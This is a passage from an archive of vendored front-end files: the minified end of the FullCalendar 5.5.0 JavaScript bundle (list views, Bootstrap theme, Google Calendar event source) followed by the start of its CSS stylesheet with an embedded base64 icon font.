$s=lo({initialView:"timeGridWeek",optionRefiners:{allDaySlot:Boolean},views:{timeGrid:{component:Ks,usesMinMaxTime:!0,allDaySlot:!0,slotDuration:"00:30:00",slotEventOverlap:!0},timeGridDay:{type:"timeGrid",duration:{days:1}},timeGridWeek:{type:"timeGrid",duration:{weeks:1}}}}),Qs=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.render=function(){var e=this.props,t=e.dayDate,n=e.todayRange,o=this.context,i=o.theme,a=o.dateEnv,s=o.options,l=o.viewApi,u=gr(t,n),c=s.listDayFormat?a.format(t,s.listDayFormat):"",d=s.listDaySideFormat?a.format(t,s.listDaySideFormat):"",p=s.navLinks?yr(t):null,f=r({date:a.toDate(t),view:l,text:c,sideText:d,navLinkData:p},u),h=["fc-list-day"].concat(mr(u,i));return Ar(fo,{hookProps:f,classNames:s.dayHeaderClassNames,content:s.dayHeaderContent,defaultContent:el,didMount:s.dayHeaderDidMount,willUnmount:s.dayHeaderWillUnmount},(function(e,n,r,o){return Ar("tr",{ref:e,className:h.concat(n).join(" "),"data-date":rt(t)},Ar("th",{colSpan:3},Ar("div",{className:"fc-list-day-cushion "+i.getClass("tableCellShaded"),ref:r},o)))}))},t}(Yr);function el(e){var t=e.navLinkData?{"data-navlink":e.navLinkData,tabIndex:0}:{};return Ar(Wr,null,e.text&&Ar("a",r({className:"fc-list-day-text"},t),e.text),e.sideText&&Ar("a",r({className:"fc-list-day-side-text"},t),e.sideText))}var tl=bt({hour:"numeric",minute:"2-digit",meridiem:"short"}),nl=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.render=function(){var e=this.props,t=this.context,n=e.seg,r=t.options.eventTimeFormat||tl;return Ar(ra,{seg:n,timeText:"",disableDragging:!0,disableResizing:!0,defaultContent:rl,isPast:e.isPast,isFuture:e.isFuture,isToday:e.isToday,isSelected:e.isSelected,isDragging:e.isDragging,isResizing:e.isResizing,isDateSelecting:e.isDateSelecting},(function(e,o,i,a,s){return Ar("tr",{className:["fc-list-event",s.event.url?"fc-event-forced-url":""].concat(o).join(" "),ref:e},function(e,t,n){var r=n.options;if(!1!==r.displayEventTime){var o=e.eventRange.def,i=e.eventRange.instance,a=!1,s=void 0;if(o.allDay?a=!0:en(e.eventRange.range)?e.isStart?s=Dn(e,t,n,null,null,i.range.start,e.end):e.isEnd?s=Dn(e,t,n,null,null,e.start,i.range.end):a=!0:s=Dn(e,t,n),a){var l={text:n.options.allDayText,view:n.viewApi};return Ar(fo,{hookProps:l,classNames:r.allDayClassNames,content:r.allDayContent,defaultContent:ol,didMount:r.allDayDidMount,willUnmount:r.allDayWillUnmount},(function(e,t,n,r){return Ar("td",{className:["fc-list-event-time"].concat(t).join(" "),ref:e},r)}))}return Ar("td",{className:"fc-list-event-time"},s)}return null}(n,r,t),Ar("td",{className:"fc-list-event-graphic"},Ar("span",{className:"fc-list-event-dot",style:{borderColor:s.borderColor||s.backgroundColor}})),Ar("td",{className:"fc-list-event-title",ref:i},a))}))},t}(Yr);function rl(e){var t=e.event,n=t.url;return Ar("a",r({},n?{href:n}:{}),t.title)}function ol(e){return e.text}var il=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.computeDateVars=st(sl),t.eventStoreToSegs=st(t._eventStoreToSegs),t.setRootEl=function(e){e?t.context.registerInteractiveComponent(t,{el:e}):t.context.unregisterInteractiveComponent(t)},t}return n(t,e),t.prototype.render=function(){var e=this,t=this.props,n=this.context,r=["fc-list",n.theme.getClass("table"),!1!==n.options.stickyHeaderDates?"fc-list-sticky":""],o=this.computeDateVars(t.dateProfile),i=o.dayDates,a=o.dayRanges,s=this.eventStoreToSegs(t.eventStore,t.eventUiBases,a);return Ar(Do,{viewSpec:n.viewSpec,elRef:this.setRootEl},(function(n,o){return Ar("div",{ref:n,className:r.concat(o).join(" ")},Ar(Fi,{liquid:!t.isHeightAuto,overflowX:t.isHeightAuto?"visible":"hidden",overflowY:t.isHeightAuto?"visible":"auto"},s.length>0?e.renderSegList(s,i):e.renderEmptyMessage()))}))},t.prototype.renderEmptyMessage=function(){var e=this.context,t=e.options,n=e.viewApi,r={text:t.noEventsText,view:n};return Ar(fo,{hookProps:r,classNames:t.noEventsClassNames,content:t.noEventsContent,defaultContent:al,didMount:t.noEventsDidMount,willUnmount:t.noEventsWillUnmount},(function(e,t,n,r){return Ar("div",{className:["fc-list-empty"].concat(t).join(" "),ref:e},Ar("div",{className:"fc-list-empty-cushion",ref:n},r))}))},t.prototype.renderSegList=function(e,t){var n=this.context,o=n.theme,i=n.options,a=function(e){var t,n,r=[];for(t=0;t<e.length;t+=1)n=e[t],(r[n.dayIndex]||(r[n.dayIndex]=[])).push(n);return r}(e);return Ar(Pi,{unit:"day"},(function(e,n){for(var s=[],l=0;l<a.length;l+=1){var u=a[l];if(u){var c=t[l].toISOString();s.push(Ar(Qs,{key:c,dayDate:t[l],todayRange:n}));for(var d=0,p=u=gn(u,i.eventOrder);d<p.length;d++){var f=p[d];s.push(Ar(nl,r({key:c+":"+f.eventRange.instance.instanceId,seg:f,isDragging:!1,isResizing:!1,isDateSelecting:!1,isSelected:!1},bn(f,n,e))))}}}return Ar("table",{className:"fc-list-table "+o.getClass("table")},Ar("tbody",null,s))}))},t.prototype._eventStoreToSegs=function(e,t,n){return this.eventRangesToSegs(cn(e,t,this.props.dateProfile.activeRange,this.context.options.nextDayThreshold).fg,n)},t.prototype.eventRangesToSegs=function(e,t){for(var n=[],r=0,o=e;r<o.length;r++){var i=o[r];n.push.apply(n,this.eventRangeToSegs(i,t))}return n},t.prototype.eventRangeToSegs=function(e,t){var n,r,o,i=this.context.dateEnv,a=this.context.options.nextDayThreshold,s=e.range,l=e.def.allDay,u=[];for(n=0;n<t.length;n+=1)if((r=on(s,t[n]))&&(o={component:this,eventRange:e,start:r.start,end:r.end,isStart:e.isStart&&r.start.valueOf()===s.start.valueOf(),isEnd:e.isEnd&&r.end.valueOf()===s.end.valueOf(),dayIndex:n},u.push(o),!o.isEnd&&!l&&n+1<t.length&&s.end<i.add(t[n+1].start,a))){o.end=s.end,o.isEnd=!0;break}return u},t}(so);function al(e){return e.text}function sl(e){for(var t=we(e.renderRange.start),n=e.renderRange.end,r=[],o=[];t<n;)r.push(t),o.push({start:t,end:me(t,1)}),t=me(t,1);return{dayDates:r,dayRanges:o}}function ll(e){return!1===e?null:bt(e)}var ul=lo({optionRefiners:{listDayFormat:ll,listDaySideFormat:ll,noEventsClassNames:Pt,noEventsContent:Pt,noEventsDidMount:Pt,noEventsWillUnmount:Pt},views:{list:{component:il,buttonTextKey:"list",listDayFormat:{month:"long",day:"numeric",year:"numeric"}},listDay:{type:"list",duration:{days:1},listDayFormat:{weekday:"long"}},listWeek:{type:"list",duration:{weeks:1},listDayFormat:{weekday:"long"},listDaySideFormat:{month:"long",day:"numeric",year:"numeric"}},listMonth:{type:"list",duration:{month:1},listDaySideFormat:{weekday:"long"}},listYear:{type:"list",duration:{year:1},listDaySideFormat:{weekday:"long"}}}}),cl=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t}(Hr);cl.prototype.classes={root:"fc-theme-bootstrap",table:"table-bordered",tableCellShaded:"table-active",buttonGroup:"btn-group",button:"btn btn-primary",buttonActive:"active",popover:"popover",popoverHeader:"popover-header",popoverContent:"popover-body"},cl.prototype.baseIconClass="fa",cl.prototype.iconClasses={close:"fa-times",prev:"fa-chevron-left",next:"fa-chevron-right",prevYear:"fa-angle-double-left",nextYear:"fa-angle-double-right"},cl.prototype.rtlIconClasses={prev:"fa-chevron-right",next:"fa-chevron-left",prevYear:"fa-angle-double-right",nextYear:"fa-angle-double-left"},cl.prototype.iconOverrideOption="bootstrapFontAwesome",cl.prototype.iconOverrideCustomButtonOption="bootstrapFontAwesome",cl.prototype.iconOverridePrefix="fa-";var dl=lo({themeClasses:{bootstrap:cl}});var pl=lo({eventSourceDefs:[{parseMeta:function(e){var t=e.googleCalendarId;return!t&&e.url&&(t=function(e){var t;if(/^[^/]+@([^/.]+\.)*(google|googlemail|gmail)\.com$/.test(e))return e;if((t=/^https:\/\/www.googleapis.com\/calendar\/v3\/calendars\/([^/]*)/.exec(e))||(t=/^https?:\/\/www.google.com\/calendar\/feeds\/([^/]*)/.exec(e)))return decodeURIComponent(t[1]);return null}(e.url)),t?{googleCalendarId:t,googleCalendarApiKey:e.googleCalendarApiKey,googleCalendarApiBase:e.googleCalendarApiBase,extraParams:e.extraParams}:null},fetch:function(e,t,n){var o=e.context,i=o.dateEnv,a=o.options,s=e.eventSource.meta,l=s.googleCalendarApiKey||a.googleCalendarApiKey;if(l){var u=function(e){var t=e.googleCalendarApiBase;t||(t="https://www.googleapis.com/calendar/v3/calendars");return t+"/"+encodeURIComponent(e.googleCalendarId)+"/events"}(s),c=s.extraParams,d="function"==typeof c?c():c,p=function(e,t,n,o){var i,a,s;o.canComputeOffset?(a=o.formatIso(e.start),s=o.formatIso(e.end)):(a=me(e.start,-1).toISOString(),s=me(e.end,1).toISOString());i=r(r({},n||{}),{key:t,timeMin:a,timeMax:s,singleEvents:!0,maxResults:9999}),"local"!==o.timeZone&&(i.timeZone=o.timeZone);return i}(e.range,l,d,i);zo("GET",u,p,(function(e,r){var o,i;e.error?n({message:"Google Calendar API: "+e.error.message,errors:e.error.errors,xhr:r}):t({rawEvents:(o=e.items,i=p.timeZone,o.map((function(e){return function(e,t){var n=e.htmlLink||null;n&&t&&(n=function(e,t){return e.replace(/(\?.*?)?(#|$)/,(function(e,n,r){return(n?n+"&":"?")+t+r}))}(n,"ctz="+t));return{id:e.id,title:e.summary,start:e.start.dateTime||e.start.date,end:e.end.dateTime||e.end.date,url:n,location:e.location,description:e.description}}(e,i)}))),xhr:r})}),(function(e,t){n({message:e,xhr:t})}))}else n({message:"Specify a googleCalendarApiKey. See http://fullcalendar.io/docs/google_calendar/"})}}],optionRefiners:{googleCalendarApiKey:String},eventSourceRefiners:{googleCalendarApiKey:String,googleCalendarId:String,googleCalendarApiBase:String,extraParams:Pt}});return Go.push(ja,ys,$s,ul,dl,pl),e.BASE_OPTION_DEFAULTS=wt,e.BASE_OPTION_REFINERS=Ct,e.BaseComponent=Yr,e.BgEvent=pa,e.BootstrapTheme=cl,e.Calendar=ga,e.CalendarApi=zn,e.CalendarContent=Ci,e.CalendarDataManager=Jo,e.CalendarDataProvider=li,e.CalendarRoot=Ti,e.Component=Or,e.ContentHook=vo,e.CustomContentRenderContext=ho,e.DateComponent=so,e.DateEnv=Jn,e.DateProfileGenerator=To,e.DayCellContent=la,e.DayCellRoot=ca,e.DayGridView=gs,e.DayHeader=Hi,e.DaySeriesModel=Ai,e.DayTable=vs,e.DayTableModel=Ui,e.DayTableSlicer=hs,e.DayTimeCols=qs,e.DayTimeColsSlicer=Gs,e.DayTimeColsView=Ks,e.DelayedRunner=Zo,e.Draggable=Fa,e.ElementDragging=hi,e.ElementScrollController=Pr,e.Emitter=xr,e.EventApi=Bn,e.EventRoot=ra,e.EventSourceApi=V,e.FeaturefulElementDragging=Ma,e.Fragment=Wr,e.Interaction=ci,e.ListView=il,e.MountHook=mo,e.NamedTimeZoneImpl=ui,e.NowIndicatorRoot=aa,e.NowTimer=Pi,e.PointerDragging=Sa,e.PositionCache=_r,e.RefMap=zi,e.RenderHook=fo,e.ScrollController=Ir,e.ScrollResponder=Br,e.Scroller=Fi,e.SimpleScrollGrid=na,e.Slicer=Li,e.Splitter=hr,e.StandardEvent=oa,e.Table=ds,e.TableDateCell=_i,e.TableDowCell=Ii,e.TableView=Ga,e.Theme=Hr,e.ThirdPartyDraggable=Ba,e.TimeCols=Bs,e.TimeColsSlatsCoords=ks,e.TimeColsView=Rs,e.ViewApi=Un,e.ViewContextType=jr,e.ViewRoot=Do,e.WeekNumberRoot=ha,e.WindowScrollController=Nr,e.addDays=me,e.addDurations=Je,e.addMs=ye,e.addWeeks=ge,e.allowContextMenu=ae,e.allowSelection=oe,e.applyMutationToEventStore=Hn,e.applyStyle=q,e.applyStyleProp=Y,e.asCleanDays=function(e){return e.years||e.months||e.milliseconds?0:e.days},e.asRoughMinutes=function(e){return et(e)/6e4},e.asRoughMs=et,e.asRoughSeconds=function(e){return et(e)/1e3},e.buildClassNameNormalizer=yo,e.buildDayRanges=Ys,e.buildDayTableModel=ms,e.buildEventApis=Gn,e.buildEventRangeKey=wn,e.buildHashFromArray=function(e,t){for(var n={},r=0;r<e.length;r+=1){var o=t(e[r],r);n[o[0]]=o[1]}return n},e.buildNavLinkData=yr,e.buildSegCompareObj=mn,e.buildSegTimeText=Dn,e.buildSlatMetas=Xs,e.buildTimeColsModel=Js,e.collectFromHash=je,e.combineEventUis=Bt,e.compareByFieldSpec=ue,e.compareByFieldSpecs=le,e.compareNumbers=pe,e.compareObjs=ze,e.computeEdges=wr,e.computeFallbackHeaderFormat=ki,e.computeHeightAndMargins=function(e){return e.getBoundingClientRect().height+function(e){var t=window.getComputedStyle(e);return parseInt(t.marginTop,10)+parseInt(t.marginBottom,10)}(e)},e.computeInnerRect=Rr,e.computeRect=Tr,e.computeSegDraggable=yn,e.computeSegEndResizable=Sn,e.computeSegStartResizable=En,e.computeShrinkWidth=Bi,e.computeSmallestCellWidth=he,e.computeVisibleDayRange=Qt,e.config=vi,e.constrainPoint=ur,e.createContext=Vr,e.createDuration=Xe,e.createElement=Ar,e.createEmptyEventStore=At,e.createEventInstance=Ne,e.createEventUi=zt,e.createFormatter=bt,e.createPlugin=lo,e.createRef=Lr,e.diffDates=tn,e.diffDayAndTime=De,e.diffDays=Se,e.diffPoints=dr,e.diffWeeks=Ee,e.diffWholeDays=Ce,e.diffWholeWeeks=be,e.disableCursor=te,e.elementClosest=z,e.elementMatches=B,e.enableCursor=ne,e.eventTupleToStore=Ht,e.filterEventStoreDefs=Lt,e.filterHash=Ae,e.findDirectChildren=function(e,t){for(var n=e instanceof HTMLElement?[e]:e,r=[],o=0;o<n.length;o+=1)for(var i=n[o].children,a=0;a<i.length;a+=1){var s=i[a];t&&!B(s,t)||r.push(s)}return r},e.findElements=j,e.flexibleCompare=ce,e.flushToDom=Fr,e.formatDate=function(e,t){void 0===t&&(t={});var n=rr(t),r=bt(t),o=n.createMarkerMeta(e);return o?n.format(o.marker,r,{forcedTzo:o.forcedTzo}):""},e.formatDayString=rt,e.formatIsoTimeString=ot,e.formatRange=function(e,t,n){var r=rr("object"==typeof n&&n?n:{}),o=bt(n),i=r.createMarkerMeta(e),a=r.createMarkerMeta(t);return i&&a?r.formatRange(i.marker,a.marker,o,{forcedStartTzo:i.forcedTzo,forcedEndTzo:a.forcedTzo,isEndExclusive:n.isEndExclusive,defaultSeparator:wt.defaultRangeSeparator}):""},e.getAllowYScrolling=Gi,e.getCanVGrowWithinCell=pr,e.getClippingParents=kr,e.getDateMeta=gr,e.getDayClassNames=mr,e.getDefaultEventEnd=Nn,e.getElSeg=fn,e.getEventClassNames=Cn,e.getIsRtlScrollbarOnLeft=Dr,e.getRectCenter=cr,e.getRelevantEvents=Ot,e.getScrollGridClassNames=Ji,e.getScrollbarWidths=br,e.getSectionClassNames=$i,e.getSectionHasLiquidHeight=ji,e.getSegMeta=bn,e.getSlotClassNames=function(e,t){var n=["fc-slot","fc-slot-"+ve[e.dow]];return e.isDisabled?n.push("fc-slot-disabled"):(e.isToday&&(n.push("fc-slot-today"),n.push(t.getClass("today"))),e.isPast&&n.push("fc-slot-past"),e.isFuture&&n.push("fc-slot-future")),n},e.getStickyFooterScrollbar=ta,e.getStickyHeaderDates=ea,e.getUnequalProps=Fe,e.globalLocales=$n,e.globalPlugins=Go,e.greatestDurationDenominator=nt,e.guid=ee,e.hasBgRendering=dn,e.hasShrinkWidth=Ki,e.identity=Pt,e.interactionSettingsStore=fi,e.interactionSettingsToStore=pi,e.intersectRanges=on,e.intersectRects=lr,e.isArraysEqual=at,e.isColPropsEqual=Yi,e.isDateSpansEqual=kn,e.isInt=fe,e.isInteractionValid=eo,e.isMultiDayRange=en,e.isPropsEqual=Ve,e.isPropsValid=no,e.isValidDate=Ie,e.listenBySelector=K,e.mapHash=Ue,e.memoize=st,e.memoizeArraylike=function(e,t,n){var r=this,o=[],i=[];return function(a){for(var s=o.length,l=a.length,u=0;u<s;u+=1)if(a[u]){if(!at(o[u],a[u])){n&&n(i[u]);var c=e.apply(r,a[u]);t&&t(c,i[u])||(i[u]=c)}}else n&&n(i[u]);for(;u<l;u+=1)i[u]=e.apply(r,a[u]);return o=a,i.splice(l),i}},e.memoizeHashlike=function(e,t,n){var r=this,o={},i={};return function(a){var s={};for(var l in a)if(i[l])if(at(o[l],a[l]))s[l]=i[l];else{n&&n(i[l]);var u=e.apply(r,a[l]);s[l]=t&&t(u,i[l])?i[l]:u}else s[l]=e.apply(r,a[l]);return o=a,i=s,s}},e.memoizeObjArg=lt,e.mergeEventStores=Ut,e.multiplyDuration=$e,e.padStart=de,e.parseBusinessHours=ar,e.parseClassNames=Wt,e.parseDragMeta=mi,e.parseEventDef=Jt,e.parseFieldSpecs=se,e.parseMarker=Kn,e.pointInsideRect=sr,e.preventContextMenu=ie,e.preventDefault=Z,e.preventSelection=re,e.rangeContainsMarker=un,e.rangeContainsRange=ln,e.rangesEqual=an,e.rangesIntersect=sn,e.refineEventDef=Xt,e.refineProps=It,e.removeElement=F,e.removeExact=function(e,t){for(var n=0,r=0;r<e.length;)e[r]===t?(e.splice(r,1),n+=1):r+=1;return n},e.render=Ur,e.renderChunkContent=qi,e.renderFill=da,e.renderMicroColGroup=Zi,e.renderScrollShim=Qi,e.requestJson=zo,e.sanitizeShrinkWidth=Xi,e.setElSeg=pn,e.setRef=Kr,e.sliceEventStore=cn,e.sliceEvents=function(e,t){return cn(e.eventStore,e.eventUiBases,e.dateProfile.activeRange,t?e.nextDayThreshold:null).fg},e.sortEventSegs=gn,e.startOfDay=we,e.translateRect=function(e,t,n){return{left:e.left+t,right:e.right+t,top:e.top+n,bottom:e.bottom+n}},e.triggerDateSelect=In,e.unmountComponentAtNode=zr,e.unpromisify=Mr,e.version="5.5.0",e.whenTransitionDone=$,e.wholeDivideDurations=tt,Object.defineProperty(e,"__esModule",{value:!0}),e}({});vendor/calendar/css/main.min.css000066600000066437151150443020012641 0ustar00.fc-icon,
.fc-unselectable {
	-moz-user-select: none;
	-ms-user-select: none;
}
.fc .fc-button,
.fc-icon {
	text-transform: none;
	text-align: center;
}
.fc-not-allowed,
.fc-not-allowed .fc-event {
	cursor: not-allowed;
}
.fc .fc-button:not(:disabled),
.fc a[data-navlink],
.fc-event.fc-event-draggable,
.fc-event[href] {
	cursor: pointer;
}
.fc-unselectable {
	-webkit-user-select: none;
	user-select: none;
	-webkit-touch-callout: none;
	-webkit-tap-highlight-color: transparent;
}
.fc {
	display: flex;
	flex-direction: column;
	font-size: 1em;
}
.fc .fc-button,
.fc-icon {
	display: inline-block;
	font-weight: 400;
}
.fc,
.fc *,
.fc :after,
.fc :before {
	box-sizing: border-box;
}
.fc table {
	border-collapse: collapse;
	border-spacing: 0;
	font-size: 1em;
}
.fc th {
	text-align: center;
}
.fc td,
.fc th {
	vertical-align: top;
	padding: 0;
}
.fc .fc-button,
.fc .fc-button .fc-icon,
.fc .fc-button-group,
.fc .fc-timegrid-slot-label {
	vertical-align: middle;
}
.fc a[data-navlink]:hover {
	text-decoration: underline;
}
.fc .fc-button:hover,
.fc .fc-list-event-title a,
a.fc-event,
a.fc-event:hover {
	text-decoration: none;
}
.fc-direction-ltr {
	direction: ltr;
	text-align: left;
}
.fc-direction-rtl {
	direction: rtl;
	text-align: right;
}
.fc-theme-standard td,
.fc-theme-standard th {
	border: 1px solid #ddd;
	border: 1px solid var(--fc-border-color, #ddd);
}
.fc-liquid-hack td,
.fc-liquid-hack th {
	position: relative;
}
@font-face {
	font-family: fcicons;
	src: url("data:application/x-font-ttf;charset=utf-8;base64,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")
		format("truetype");
	font-weight: 400;
	font-style: normal;
}
.fc-icon {
	width: 1em;
	height: 1em;
	-webkit-user-select: none;
	user-select: none;
	font-family: fcicons !important;
	speak: none;
	font-style: normal;
	font-variant: normal;
	line-height: 1;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
.fc-icon-chevron-left:before {
	content: "\e900";
}
.fc-icon-chevron-right:before {
	content: "\e901";
}
.fc-icon-chevrons-left:before {
	content: "\e902";
}
.fc-icon-chevrons-right:before {
	content: "\e903";
}
.fc-icon-minus-square:before {
	content: "\e904";
}
.fc-icon-plus-square:before {
	content: "\e905";
}
.fc-icon-x:before {
	content: "\e906";
}
.fc .fc-button {
	overflow: visible;
	text-transform: none;
	margin: 0;
	font-family: inherit;
}
.fc .fc-button::-moz-focus-inner {
	padding: 0;
	border-style: none;
}
.fc .fc-button {
	-webkit-appearance: button;
	-webkit-user-select: none;
	-moz-user-select: none;
	-ms-user-select: none;
	user-select: none;
	background-color: transparent;
	border: 1px solid transparent;
	padding: 0.4em 0.65em;
	font-size: 1em;
	line-height: 1.5;
	border-radius: 0.25em;
}
.fc .fc-button:focus {
	outline: 0;
	box-shadow: 0 0 0 0.2rem rgba(44, 62, 80, 0.25);
}
.fc .fc-button-primary:focus,
.fc .fc-button-primary:not(:disabled).fc-button-active:focus,
.fc .fc-button-primary:not(:disabled):active:focus {
	box-shadow: 0 0 0 0.2rem rgba(76, 91, 106, 0.5);
}
.fc .fc-button:disabled {
	opacity: 0.65;
}
.fc .fc-button-primary {
	color: #fff;
	color: var(--fc-button-text-color, #fff);
	background-color: #2c3e50;
	background-color: var(--fc-button-bg-color, #2c3e50);
	border-color: #2c3e50;
	border-color: var(--fc-button-border-color, #2c3e50);
}
.fc .fc-button-primary:hover {
	color: #fff;
	color: var(--fc-button-text-color, #fff);
	background-color: #1e2b37;
	background-color: var(--fc-button-hover-bg-color, #1e2b37);
	border-color: #18202b;
	border-color: var(--fc-button-hover-border-color, #18202b);
}
.fc .fc-button-primary:disabled {
	color: #fff;
	color: var(--fc-button-text-color, #fff);
	background-color: #2c3e50;
	background-color: var(--fc-button-bg-color, #2c3e50);
	border-color: #2c3e50;
	border-color: var(--fc-button-border-color, #2c3e50);
}
.fc .fc-button-primary:not(:disabled).fc-button-active,
.fc .fc-button-primary:not(:disabled):active {
	color: #fff;
	color: var(--fc-button-text-color, #fff);
	background-color: #18202b;
	background-color: var(--fc-button-active-bg-color, #18202b);
	border-color: #151e27;
	border-color: var(--fc-button-active-border-color, #151e27);
}
.fc .fc-button .fc-icon {
	font-size: 1.5em;
}
.fc .fc-button-group {
	position: relative;
	display: inline-flex;
}
.fc .fc-button-group > .fc-button {
	position: relative;
	flex: 1 1 auto;
}
.fc .fc-button-group > .fc-button.fc-button-active,
.fc .fc-button-group > .fc-button:active,
.fc .fc-button-group > .fc-button:focus,
.fc .fc-button-group > .fc-button:hover {
	z-index: 1;
}
.fc-direction-ltr .fc-button-group > .fc-button:not(:first-child) {
	margin-left: -1px;
	border-top-left-radius: 0;
	border-bottom-left-radius: 0;
}
.fc-direction-ltr .fc-button-group > .fc-button:not(:last-child) {
	border-top-right-radius: 0;
	border-bottom-right-radius: 0;
}
.fc-direction-rtl .fc-button-group > .fc-button:not(:first-child) {
	margin-right: -1px;
	border-top-right-radius: 0;
	border-bottom-right-radius: 0;
}
.fc-direction-rtl .fc-button-group > .fc-button:not(:last-child) {
	border-top-left-radius: 0;
	border-bottom-left-radius: 0;
}
.fc .fc-toolbar {
	display: flex;
	justify-content: space-between;
	align-items: center;
}
.fc .fc-toolbar.fc-header-toolbar {
	margin-bottom: 1.5em;
}
.fc .fc-toolbar.fc-footer-toolbar {
	margin-top: 1.5em;
}
.fc .fc-toolbar-title {
	font-size: 1.75em;
	margin: 0;
}
.fc-direction-ltr .fc-toolbar > * > :not(:first-child) {
